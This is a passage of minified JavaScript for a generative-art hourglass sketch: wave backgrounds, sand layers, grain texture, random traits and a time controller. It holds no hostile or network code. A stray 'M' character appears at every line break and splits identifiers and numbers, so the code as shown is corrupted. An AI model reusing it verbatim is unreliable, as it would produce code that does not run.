=sqrt(Math.pow(width,2)+Math.pow(height,2));let h=createVector(width,height).heading(),n=abs(PI/4-h);this.ty=this.diagonal/2*cos(n),this.waveSpeed=a.waveSpeed,this.wavePeriod=a.wavePeriod,this.waveHeight=a.waveHeight,this.evolvePeriod=a.evolvePeriod,this.evolvePeriod==EvolvePeriod.DAILY?this.num_lines=7:(this.evolvePeriod==EvolvePeriod.HOURLY||this.evolvePeriod==EvolvePeriod.MONTHLY)&&(this.num_lines=12),this.waveHeight==WaveHeight.SHORT?this.amplitude=getRandomInt(20,30):this.waveHeight==WaveHeight.MEDIUM?this.ampM
litude=getRandomInt(30,40):this.waveHeight==WaveHeight.TALL&&(this.amplitude=getRandomInt(40,50)),this.wavePeriod==WavePeriod.SHORT?this.period=getRandomInt(300,351):this.wavePeriod==WavePeriod.MEDIUM?this.period=getRandomInt(425,476):this.wavePeriod==WavePeriod.LONG&&(this.period=getRandomInt(600,651)),this.waveSpeed==WaveSpeed.SLOW?(this.min_speed=.003,this.max_speed=.005):this.waveSpeed==WaveSpeed.MEDIUM?(this.min_speed=.008,this.max_speed=.01):this.waveSpeed==WaveSpeed.FAST&&(this.min_speed=.015,this.max_speed=M
.018),this.thetaList=[0,1/4*PI,.5*PI,3/4*PI,PI],this.setupStaticWave(),this.setupDynamicWave(),r.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=r.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){randomSeed(100*e+1),shuffle(this.xspacing1),shuffle(this.thickness1),shuffle(this.theta1),shuffle(this.xspacing1),shuffle(this.velocity1),shuffle(this.xspacing2),shuffle(this.thickness2),shuffle(this.theta2),shuffle(this.xspacing2),shuffle(this.velocity2),shuffle(this.xspacing3),shM
uffle(this.thickness3),shuffle(this.theta3),shuffle(this.xspacing3),shuffle(this.velocity3),shuffle(this.xspacing4),shuffle(this.thickness4),shuffle(this.theta4),shuffle(this.xspacing4),shuffle(this.velocity4)}setupStaticWave(){for(let e=0;e<this.num_waves;e++){this.xspacing1.push(getRandomInt(5,50)),this.thickness1.push(getRandomInt(50,200)),this.theta1.push({value:random(this.thetaList)}),this.velocity1.push({value:random(this.min_speed,this.max_speed)}),this.sz1.push(random(.5,3)),this.xspacing2.push(getRandomInM
t(5,50)),this.thickness2.push(getRandomInt(50,200)),this.theta2.push({value:random(this.thetaList)}),this.velocity2.push({value:random(this.min_speed,this.max_speed)}),this.sz2.push(random(.5,3)),this.xspacing3.push(getRandomInt(5,50)),this.thickness3.push(getRandomInt(50,200)),this.theta3.push({value:random(this.thetaList)}),this.velocity3.push({value:random(this.min_speed,this.max_speed)}),this.sz3.push(random(.5,3)),this.xspacing4.push(getRandomInt(5,50)),this.thickness4.push(getRandomInt(50,200)),this.theta4.puM
sh({value:random(this.thetaList)}),this.velocity4.push({value:random(this.min_speed,this.max_speed)}),this.sz4.push(random(.5,3));let t=e%5;this.c.push(Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25))}}setupDynamicWave(){this.dynamicWave={h:random(this.hCanvas/3),xspacing:getRandomInt(5,20),thickness:getRandomInt(100,200),theta:{value:random(this.thetaList)},velocity:{value:random(this.min_speed,this.max_speed)},sz:random(1,3),num_lines:0},1==this.patternOrder[0]?this.dynamicWave.h=random(200,heM
ight-200):2==this.patternOrder[0]?this.dynamicWave.h=random(200,width-200):(3==this.patternOrder[0]||4==this.patternOrder[0])&&(this.dynamicWave.h=random(200,2*this.ty-200))}update(e){this.time=e}drawHorWave(e,t,i,s,a,r,h,n,o){this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(width/i+20));let l=this.time.getTime()/(1e3/60),d=r.value+h.value*l/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(d)*this.amplitude,d+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),tM
+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s];r<-2||r>height+2||e.square(a,r,n*this.maxR)}}}drawVerWave(e,t,i,s,a,r,h,n,o){this.dx=TWO_PI/this.period*i,this.xvalues=new Array(floor(height/i+20));let l=this.time.getTime()/(1e3/60),d=r.value+h.value*l/5+t;for(let e=0;e<this.xvalues.length;e++)this.xvalues[e]=sin(d)*this.amplitude,d+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.xvalues.length;s++){let a=t+this.xvalues[s],r=s*iM
;a<-2||a>width+2||e.square(a,r,n*this.maxR)}}}drawDiaWave(e,t,i,s,a,r,h,n,o,l){let d=cos(-l),m=sin(-l);this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(this.diagonal/i));let p=this.time.getTime()/(1e3/60),g=r.value+h.value*p/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(g)*this.amplitude,g+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s],h=n*this.maxR,o=a-this.diagonal/2,l=r-this.tM
y,p=o*d+l*m+width/2,g=-o*m+l*d+height/2;p<-2||p>width+2||g<-2||g>height+2||e.square(a,r,h)}}}drawHorizontal(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawHorWave(e,t,this.xspacing1[i]*width/1024,this.thickness1[i]*height/1024,this.num_lines,this.theta1[i],this.velocity1[i],this.sz1[i],this.c[i]),t+=(height+50)/this.num_waves}drawVertical(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawVerWave(e,t,this.xspacing2[i]*height/1024,this.thickness2[i]*width/1024,this.num_lines,this.theta2[i],this.vM
elocity2[i],this.sz2[i],this.c[i]),t+=(width+50)/this.num_waves}drawLeft(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing3[i]*this.maxR,this.thickness3[i]*this.maxR,this.num_lines,this.theta3[i],this.velocity3[i],this.sz3[i],this.c[i],PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawRight(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(M
3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing4[i]*this.maxR,this.thickness4[i]*this.maxR,this.num_lines,this.theta4[i],this.velocity4[i],this.sz4[i],this.c[i],3*PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawPattern(e,t){1==t?this.drawHorizontal(e):2==t?this.drawVertical(e):3==t?this.drawLeft(e):this.drawRight(e)}draw(e,t,i,s,a){this._h=s.h,this._s=s.s,this._l=s.l,e.background(0);let r=t.getHours()>=6&&t.getHours()<18?.2:.05,h=Color.getSandColorByIndex(4,this._h,this._s,M
this._l).luminance(r).alpha(.5);if(e.background(color(...Color.chromaToArray(h))),!a)return;this.evolvePeriod==EvolvePeriod.HOURLY?this.dynamicWave.num_lines=(t.getHours()+11)%12+1:this.evolvePeriod==EvolvePeriod.DAILY?this.dynamicWave.num_lines=t.getDay()+1:this.evolvePeriod==EvolvePeriod.MONTHLY&&(this.dynamicWave.num_lines=t.getMonth()+1);for(let e=0;e<this.num_waves;e++){let t=e%5;this.c[e]=Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25)}1==i?(3==this.patternOrder[0]||4==this.patternOrder[0]M
?this.num_waves=30:this.num_waves=20,this.drawPattern(e,this.patternOrder[0])):2==i?(this.patternOrder[0]+this.patternOrder[1]==3?this.num_waves=10:this.patternOrder[0]+this.patternOrder[1]==7?this.num_waves=20:this.num_waves=15,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1])):3==i?(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2])):(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),M
this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2]),this.drawPattern(e,this.patternOrder[3]));let{h:n,xspacing:o,thickness:l,num_lines:d,theta:m,velocity:p,sz:g}=this.dynamicWave,c=Color.getSandColorByIndex(0,this._h,this._s,this._l).luminance(.5);1==this.patternOrder[0]?this.drawHorWave(e,n,o*width/1024,l*height/1024,d,m,p,g,c):2==this.patternOrder[0]?this.drawVerWave(e,n,o*height/1024,l*width/1024,d,m,p,g,c):3==this.patternOrder[0]?(e.push(),e.translate(width/2,height/2),e.rotate(PI/M
4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,PI/4),e.pop()):4==this.patternOrder[0]&&(e.push(),e.translate(width/2,height/2),e.rotate(3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,3*PI/4),e.pop())}}class GrainRenderer{static texture;static deltaX;static deltaY;static maxDelta=100;static wCanvas;static hCanvas;static setup(e,t){GrainRenderer.wCanvas=e+GrainRenderer.maxDelta,GrainRenderer.hCanvas=t+GrainRendereM
r.maxDelta,GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0),GrainRenderer.texture=createImage(GrainRenderer.wCanvas,GrainRenderer.hCanvas),GrainRenderer.texture.loadPixels();let i=GrainRenderer.texture.pixelDensity();for(let e=0;e<GrainRenderer.wCanvas;e++)for(let t=0;t<GrainRenderer.hCanvas;t++){let s=216.75,a=255,r=random(s,a),h=random(s,a),n=random(s,a);for(let s=0;s<i;s++)for(let a=0;a<i;a++){let o=4*((t*i+a)*GrainRenderer.wCanvas*i+(e*i+s));GrainRendM
erer.texture.pixels[o]=r,GrainRenderer.texture.pixels[o+1]=h,GrainRenderer.texture.pixels[o+2]=n,GrainRenderer.texture.pixels[o+3]=255}}GrainRenderer.texture.updatePixels()}static applyGrain(e,t){let i=!!t&&{atFrame:1};e.textureOverlay(GrainRenderer.texture,{mode:BURN,animate:i})}static applyGrainToMainCanvas(e){blendMode(BURN),e&&(GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0)),image(GrainRenderer.texture,GrainRenderer.deltaX,GrainRenderer.deltaY)}}conM
st HourglassSize={SMALL:"SMALL",MEDIUM:"MEDIUM",LARGE:"LARGE"};class HourglassRenderer{constructor(e,t,i){this.nLayer=10,this.wCanvas=e.width,this.hCanvas=e.height,this.hourglassSize=t.hourglassSize,this.poly=t.poly,this.evolvePeriod=t.evolvePeriod,this.xc=this.wCanvas/2,this.yc=this.hCanvas/2,this.x1=this.xc+random(100,300),this.y1=this.yc+random(100,300),this.x2=this.xc+random(100,300),this.y2=this.yc+random(100,300),this.x1m=this.wCanvas-this.x1,this.y1m=this.y1,this.maxR=min(this.wCanvas,this.hCanvas)/2,1==thisM
.poly?this.mainRadius=.1*this.maxR*4:this.mainRadius=.1*this.maxR*getRandomInt(1,6),i.registerIterationChangeEvent(this.onIterationChange.bind(this));let s=i.getCurrentIteration();this.onIterationChange(s),this.topline=this.polygon(this.xc,this.yc,this.poly,PI),this.bottomline=this.polygon(this.xc,this.yc,this.poly,0),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.excitement=.15*max(this.sandRects[0][2],this.sandRects[0][3]),this.dx=[],this.dy=[];for(let e=0;e<2M
*this.nLayer;++e)this.dx[e]=random(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement);this.curSecond=(new Date).getSeconds(),this.rotateAngle=0}onIterationChange(e){randomSeed(100*e+2),this.startAngle=this.getStartAngle(),this.radiuses=this.getRadiuses()}getIteration(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(M
e.getFullYear()-1970)+e.getMonth()),t}getStartAngle(){let e=getRandomInt(1,6);return PI/(2.5+.5*e)}getRadiuses(){let e,t;this.hourglassSize==HourglassSize.MEDIUM?(e=.45*this.maxR,t=.55*this.maxR):this.hourglassSize==HourglassSize.LARGE&&(e=.6*this.maxR,t=.7*this.maxR);let i=[];for(let s=0;s<this.poly;s++){let a;a=0==s?e:random(e,t),i.push(a)}return i}update(e,t){if(e.getSeconds()!=this.curSecond){this.curSecond=e.getSeconds(),this.secondTicked=!0,this.rotateAngle+=PI/30;for(let e=0;e<2*this.nLayer;++e)this.dx[e]=raM
ndom(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement)}else this.secondTicked=!1;this.topline=this.polygon(this.xc,this.yc,this.poly,PI+t),this.bottomline=this.polygon(this.xc,this.yc,this.poly,t),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.time=e,this.rotation=t}draw(e,t,i){let s=i.luminance(.3);e.fill(255,255,255,255),e.blendMode(REMOVE),e.rect(0,0,this.wCanvas,this.hCanvas),e.blendMode(BLEND),0==t?this.drawShadowNormal(eM
,s,this.time):1==t&&this.drawShadowCircle(e,s),e.fill(255,255,255,255),e.blendMode(REMOVE),this.drawShape(e,this.topline),this.drawShape(e,this.bottomline),e.blendMode(BLEND)}drawShadowNormal(e,t,i){let s=floor(i.getMinutes()/10),a=i.getMinutes()%10;e.push(),e.noFill(),e.strokeWeight(.005*this.maxR);for(let i=0;i<s;i++){let a=map(i,s,0,.2,.5),r=color(...Color.chromaToArray(t.alpha(a)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i],this.yc+this.dy[2*i],this.poly,PI)}for(let i=0;i<a;i++){let s=map(i,a,0,.M
2,.5),r=color(...Color.chromaToArray(t.alpha(s)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i+1],this.yc+this.dy[2*i+1],this.poly,0)}e.pop()}drawShadowCircle(e,t){e.push(),e.noStroke(),e.translate(this.xc,this.yc),e.rotate(PI+this.rotateAngle);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.fill(a),this.getAndDrawPolygon(e,0,2.5*this.mainRadius,this.poly,PI),this.getAndDrawPolygon(e,0,2.5*-this.mainRadius,this.poly,0),e.rotate(PI/3)}e.pop(),e.push(),e.noFill(),M
e.strokeWeight(2),e.translate(this.xc,this.yc),e.rotate(-this.rotateAngle+PI/30);for(let i=0;i<3;i++){let s=map(i,3,0,.2,.5),a=color(...Color.chromaToArray(t.alpha(s)));e.stroke(a),this.getAndDrawPolygon(e,0,-this.mainRadius/2,this.poly,PI),this.getAndDrawPolygon(e,0,this.mainRadius/2,this.poly,0),e.rotate(-PI/3)}e.pop()}getAndDrawPolygon(e,t,i,s,a){let r=this.polygon(t,i,s,a);this.drawShape(e,r)}drawShape(e,t){e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endShape(e.CLOSE)}polygon(e,t,i,s){leM
t a=(PI/2-this.startAngle)/i,r=0,h=[];h.push({x:e,y:t});let n=this.startAngle+s;for(let s=0;s<i;s++){let i=this.radiuses[r];r+=1;let s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}r=this.poly,n=PI/2+a+s;for(let s=0;s<i;s++){r-=1;let i=this.radiuses[r],s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}return h=h.filter((e=>!isNaN(e.x)&&!isNaN(e.y))),h}getSandRects=()=>this.sandRects;getTopLine=()=>this.topline;getBottomLine=()=>this.bottomline;getSecondTicked=()=>this.secondTicked}const WavePeriod={SHORT:"SHORT",MEM
DIUM:"MEDIUM",LONG:"LONG"},WaveHeight={SHORT:"SHORT",MEDIUM:"MEDIUM",TALL:"TALL"},WaveSpeed={SLOW:"SLOW",MEDIUM:"MEDIUM",FAST:"FAST"};class SandRenderer{static N_CURVE_POINT=50;static DROPDOWN_TIME=3;constructor(e,t,i,s,a,r,h,n){this.wCanvas=e.width,this.hCanvas=e.height,this.hInit=t,this.baseLine=this.transformCoord(i),this.baseH=s,this.baseS=a,this.baseL=r,this.curSecond=0,this.waveHeight=h.waveHeight,this.wavePeriod=h.wavePeriod,this.waveSpeed=h.waveSpeed,this.evolvePeriod=h.evolvePeriod,this.nSandLayer=6,this.lM
ayers=this.getLayers(),this._h=this.baseH,this._s=this.baseS,this._l=this.baseL,this.prevIteration=null,n.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=n.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){null==this.prevIteration?this._h=this.getHue(this.baseH,0,e):this._h=this.getHue(this._h,this.prevIteration,e),this.prevIteration=e}getHue(e,t,i){let s=min(t,i),a=max(t,i);for(let r=s;r<a;r++){randomSeed(100*r+3);let s=random(1);if(this.evolvePeriod==EvolvePeriod.HOURLY?s=M
map(s,0,1,5,10):this.evolvePeriod==EvolvePeriod.DAILY?s=map(s,0,1,10,30):this.evolvePeriod==EvolvePeriod.MONTHLY&&(s=map(s,0,1,50,100)),i>t)for(e+=s;e>360;)e-=360;else for(e-=s;e<0;)e+=360}return e}update(e){this.time=e}getChroma(){return Color.getSandColorByIndex(0,this._h,this._s,this._l)}getBaseHSL(){return{h:this._h,s:this._s,l:this._l}}draw(e,t,i,s,a){this.nLayer=(this.time.getHours()+11)%12+1,t=this.transformCoord(t),e.background(0);let r=this.getChroma().luminance(.5).alpha(.25);e.background(color(...Color.cM
hromaToArray(r))),e.strokeWeight(1),this.layers.forEach((e=>{if(0==e.id)e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).luminance(.2).alpha(1);else{let t=map(e.id/this.nSandLayer,0,1,.5,.8);e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).alpha(t)}let s=map(i,0,1,e.baselineY,this.hInit),a=max(0,map(s,this.hInit,0,0,1)),r=Geometry.getPolyArea(t)*a;e.y=Geometry.getYByAreaBelow(t,r),e.y=map(e.y,0,this.hInit,.05*-this.hCanvas,this.hInit+.05*this.hCanvas)})),this.layers.forEach((i=>{s&&2*i.id<thisM
.nLayer&&this.drawDropdown(e,t,i,a)})),this.layers.forEach((t=>this.drawLayer(e,t)));let h=!1;this.time.getSeconds()!=this.curSecond&&(this.curSecond=this.time.getSeconds(),h=!0),GraphicUtils.applyMask(e,t)}transformCoord(e){let[t,i,s,a]=Geometry.getBoundingBox(e),r=t+s,h=i+a;return e.map((e=>{let n=map(e.x,t,r,-s/2,s/2)+this.wCanvas/2,o=map(e.y,i,h,0,a);return createVector(n,o)}))}getLayers(){let e=[];for(let t=0;t<this.nSandLayer;t++){let i,s=this.hInit/this.nSandLayer*t;this.waveSpeed==WaveSpeed.SLOW?i=random(.0M
08,.012):this.waveSpeed==WaveSpeed.MEDIUM?i=random(.016,.024):this.waveSpeed==WaveSpeed.FAST&&(i=random(.032,.048));let a,r,h=random(1e4);this.wavePeriod==WavePeriod.SHORT?a=random(2.7,3):this.wavePeriod==WavePeriod.MEDIUM?a=random(1.8,2):this.wavePeriod==WavePeriod.LONG&&(a=random(1.2,1.3)),this.waveHeight==WaveHeight.SHORT?r=this.hCanvas/30:this.waveHeight==WaveHeight.MEDIUM?r=this.hCanvas/24:this.waveHeight==WaveHeight.TALL&&(r=this.hCanvas/18);let n={mode:"DELTA_Y",deltaY:(e,t)=>map(sin(e*a*TAU+t*i+h),-1,1,-r,rM
)};e.push({id:t,baselineY:s,height:r,speed:i,seed:h,shape:n,stripe:{distance:random(.04*this.hInit,.08*this.hInit),height:random(.02*this.hInit,.04*this.hInit),stretch:random(1.2,1.5),colorTransform:e=>e.brighten(1.2)}})}return e}drawDropdown=(e,t,i,s)=>{let{c:a,shape:r}=i,h=Geometry.getBoundingBox(t)[3],n=this.time.getTime()/(1e3/60),o=createVector(this.wCanvas/2,0),l=createVector(this.wCanvas/2,h),d=[];for(let e=0;e<50;e++){let t=e/49,i=o.copy(),{x:s,y:a}=Vector.lerp(i,l,t);s+=r.deltaY(t,-n/5)*map(e,0,50,.1,1.5),M
d.push(createVector(s,a))}let m=map(s,0,SandRenderer.DROPDOWN_TIME,0,50);m=min(m,50),e.push(),e.noStroke(),e.fill(color(...Color.chromaToArray(a)));for(let t=0;t<m;t++)e.square(d[t].x,d[t].y,.004*this.hCanvas);e.pop()};drawLayer=(e,t)=>{if(2*t.id<this.nLayer){let i=this.getLayerPointline(t);this.drawWave(e,i,t),this.drawPattern(e,i,t,this.hCanvas/8,this.hCanvas/60),2*t.id+1<this.nLayer&&this.drawStripe(e,i,t)}};getLayerPointline=e=>{let{y:t,shape:i}=e,s=[],a=this.time.getTime()/(1e3/60);if("DELTA_Y"==i.mode){let e=M
createVector(0,t),r=createVector(this.wCanvas,t);for(let t=0;t<SandRenderer.N_CURVE_POINT;t++){let h=t/(SandRenderer.N_CURVE_POINT-1),n=e.copy(),{x:o,y:l}=Vector.lerp(n,r,h);l+=i.deltaY(h,a/5),s.push(createVector(o,l))}}else s=[start,end];return s};drawWave=(e,t,i)=>{let{c:s}=i;e.noStroke(),e.fill(color(...Color.chromaToArray(s))),e.beginShape(),e.vertex(0,this.hCanvas);for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.vertex(this.wCanvas,this.hCanvas),e.endShape()};drawPattern=(e,t,i,s,a)=>{e.noStroke();for(letM
 i=a;i<=s;i+=a){let a=map((i-1)/(s-1),0,1,.2,0);e.fill(0,255*a),e.beginShape();for(let s=0;s<t.length;s++)e.vertex(t[s].x,t[s].y+i);for(let s=t.length-1;s>=0;s--)e.vertex(t[s].x,t[s].y+(i-1));e.endShape()}};drawStripe=(e,t,i)=>{let{c:s,stripe:{distance:a,height:r,stretch:h,colorTransform:n}}=i;e.noStroke();let o=n(s),l=color(...Color.chromaToArray(o)),d=s.alpha();l.setAlpha(255*d),e.fill(l),e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x*h,t[i].y+a);for(let i=t.length-1;i>=0;i--)e.vertex(t[i].x*h,t[i].y+aM
+r);e.endShape()}}new Q5("global");let wCanvas,hCanvas,canvas,timeController,hourglass,layerBackground,layerSandTop,layerSandBottom,layerHourglass,renBackground,renSandTop,renSandBottom,renHourglass,renPostProcessing,traits,prevSpeed,showMode,currentTime,maxFps=60;setup=()=>{setupRandom(),setupTraits(),setupSketch()},setupRandom=()=>{let e=p5seed;randomSeed(e),noiseSeed(e)},setupTraits=()=>{let e=getRandomInt(1,10),t=getRandomItem([[HourglassSize.MEDIUM,70],[HourglassSize.LARGE,30]]),i=getRandomItem([[WaveHeight.SHM
ORT,1],[WaveHeight.MEDIUM,1],[WaveHeight.TALL,1]]),s=getRandomItem([[WavePeriod.SHORT,1],[WavePeriod.MEDIUM,1],[WavePeriod.LONG,1]]),a=getRandomItem([[WaveSpeed.SLOW,1],[WaveSpeed.MEDIUM,1],[WaveSpeed.FAST,1]]),r=getRandomItem([[EvolvePeriod.HOURLY,60],[EvolvePeriod.DAILY,35],[EvolvePeriod.MONTHLY,5]]),h=getRandomItem([[1,5],[2,20],[3,50],[4,20],[5,5]]),n=getPatternOrder(),o=getRandomItem(AngelNumber.map((e=>[e[0],1]))),l=getRandomItem(BlissLimit.map((e=>[e[0],e[2]])));traits={waveHeight:i,wavePeriod:s,waveSpeed:a,M
evolvePeriod:r,color:e,hourglassSize:t,poly:h,patternOrder:n,angelNumber:o,blissLimit:l},console.log(traits)},getPatternOrder=()=>{let e=[],t=[1,2,3,4],i=getRandomItem([[1,.6],[2,.1],[3,.15],[4,.15]]);e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);for(let s=0;s<3;s++)i=random(t),e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);return e},setupSketch=()=>{frameRate(maxFps),frameCount=0,wCanvas=windowWidth,hCanvas=windowHeight,canvas=createCanvas(wCanvas,hCanvas),showMode=0,timeControM
ller=new TimeController(traits),hourglass=new Hourglass(traits,timeController);let e=getRandomInt(0,361),t=getRandomInt(30,101),i=getRandomInt(50,101);Color.setColorMode(traits.color),layerBackground=createGraphics(wCanvas,hCanvas),renBackground=new BackgroundRenderer(layerBackground,e,t,i,traits,timeController),layerHourglass=createGraphics(wCanvas,hCanvas),renHourglass=new HourglassRenderer(layerHourglass,traits,timeController);let s=renHourglass.getSandRects(wCanvas,hCanvas),a=renHourglass.getTopLine(),r=renHourM
glass.getBottomLine(),h=createVector(s[0][2],s[0][3]).mag();layerSandTop=createGraphics(h,h),layerSandBottom=createGraphics(h,h),renSandTop=new SandRenderer(layerSandTop,s[0][3],a,e,t,i,traits,timeController),renSandBottom=new SandRenderer(layerSandBottom,s[0][3],r,e,t,i,traits,timeController),imgSandTop=createGraphics(wCanvas,hCanvas),imgSandBottom=createGraphics(wCanvas,hCanvas),renPostProcessing=new PostProcessing(wCanvas,hCanvas,traits),GrainRenderer.setup(wCanvas,hCanvas),prevSpeed=1},draw=()=>{let e=0==showMoM
de||1==showMode,t=0==showMode||2==showMode,{time:i,state:s,speed:a,paused:r,isLive:h,realDelta:n}=timeController.step();hourglass.update(i),renSandTop.update(i),renSandBottom.update(i),renBackground.update(i);let o=4==s?1:0,{top:l,rotation:d,flipped:m,timeSinceRotation:p}=hourglass.getState();renHourglass.update(i,d);let g=renSandTop.getChroma(),c=renSandTop.getBaseHSL();if(background(255),renBackground.draw(layerBackground,i,s,c,e),image(layerBackground,0,0),t){let e=renHourglass.getSandRects();renHourglass.draw(lM
ayerHourglass,o,g),renSandTop.draw(layerSandTop,renHourglass.getTopLine(),1-l,!m,p),renSandBottom.draw(layerSandBottom,renHourglass.getBottomLine(),l,m,p),image(layerSandTop,...e[0],(layerSandTop.width-e[0][2])/2,0,e[0][2],e[0][3]),image(layerSandBottom,...e[1],(layerSandBottom.width-e[1][2])/2,0,e[1][2],e[1][3]),image(layerHourglass,0,0)}let u=renHourglass.getSecondTicked();GrainRenderer.applyGrainToMainCanvas(u),renPostProcessing.updateFilter(a,r,h),prevSpeed=a,renPostProcessing.applyToMainCanvas(),currentTime=i}M
,keyPressed=()=>{"+"!=key&&"="!=key||timeController.setFasterSpeed(),"-"==key&&timeController.setSlowerSpeed(),keyCode==LEFT_ARROW&&timeController.jumpBackward(),keyCode==RIGHT_ARROW&&timeController.jumpForward(),keyCode==ESCAPE&&timeController.resumeLive()," "==key&&timeController.togglePause(),"T"!=key&&"t"!=key||(showMode=(showMode+1)%3),"S"!=key&&"s"!=key||saveCanvasAtCurrentTime()},saveCanvasAtCurrentTime=()=>{let e=60*new Date(currentTime).getTimezoneOffset()*1e3,t=new Date(currentTime-e).toISOString().slice(M
0,-1);save(t+".png")};const EvolvePeriod={HOURLY:"HOURLY",DAILY:"DAILY",MONTHLY:"MONTHLY"},AngelNumber=[["11/111/1111",["1:1","1:11","11:1","11:11"],["1/1","11/1","1/11","11/11"]],["22/222/2222",["2:2","2:22","22:2","22:22"],["2/2","22/2"]],["33/333/3333",["3:3","3:33"],["3/3"]],["44/444/4444",["4:4","4:44"],["4/4"]],["55/555/555",["5:5","5:55"],["5/5"]],["66/666/6666",["6:6"],["6/6"]],["77/777/7777",["7:7"],["7/7"]],["88/888/8888",["8:8"],["8/8"]],["99/999/9999",["9:9"],["9/9"]],["1212",["12:12"],["12/12"]],["399/M
339",["3:39"],["3/3","9/3","3/9","9/9"]],["83/8833",["8:3"],["8/3","3/8"]],["72/7722",["7:2"],["7/2","2/7"]],["633/6363",["6:3","6:33"],["6/3","3/6"]],["588",["5:8","8:58"],["8/5","5/8","8/8"]],["446/4646",["4:6","4:46"],["4/4","6/4","4/6"]],["000",[],[]],["1010",["10:10"],["10/10"]],["1017",["10:17","17:10"],["17/10"]],["1022",["10:22","22:10"],["22/10"]],["1313",["13:13"],["1/3","3/1"]],["1444",["14:44"],["4/1","1/4","4/4"]],["2020",["20:20"],["2/2"]]],BlissLimit=[["Forever",-1,3],["2",2,40],["5",5,30],["10",10,2M
0],["20",20,7]];class TimeController{constructor(e){this.speeds=[-3600,-60,-10,-3,1,3,10,60,3600],this.defaultSpeedLevel=4,this.evolvePeriod=e.evolvePeriod,this.angelNumber=e.angelNumber,this.blissLimit=e.blissLimit,this.timestamp=Date.now(),this.prevRealTimestamp=this.timestamp,this.paused=!1,this.speedLevel=this.defaultSpeedLevel;let t=new Date(this.timestamp);this.iteration=this.getIteration(t),this.prevBliss=this.getPrevBliss(t,1),this.iterationChangeHandlers=[]}getCurrentIteration=()=>this.iteration;getIteratiM
on(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(e.getFullYear()-1970)+e.getMonth()),t}registerIterationChangeEvent(e){this.iterationChangeHandlers.push(e)}unregisterIterationChangeEvent(e){this.iterationChangeHandlers=this.iterationChangeHandlers.filter((t=>t!=e))}step(){let e=Date.now(),t=e-this.prevRealTimestamp,i=this.speeds[this.speedLevel],sM
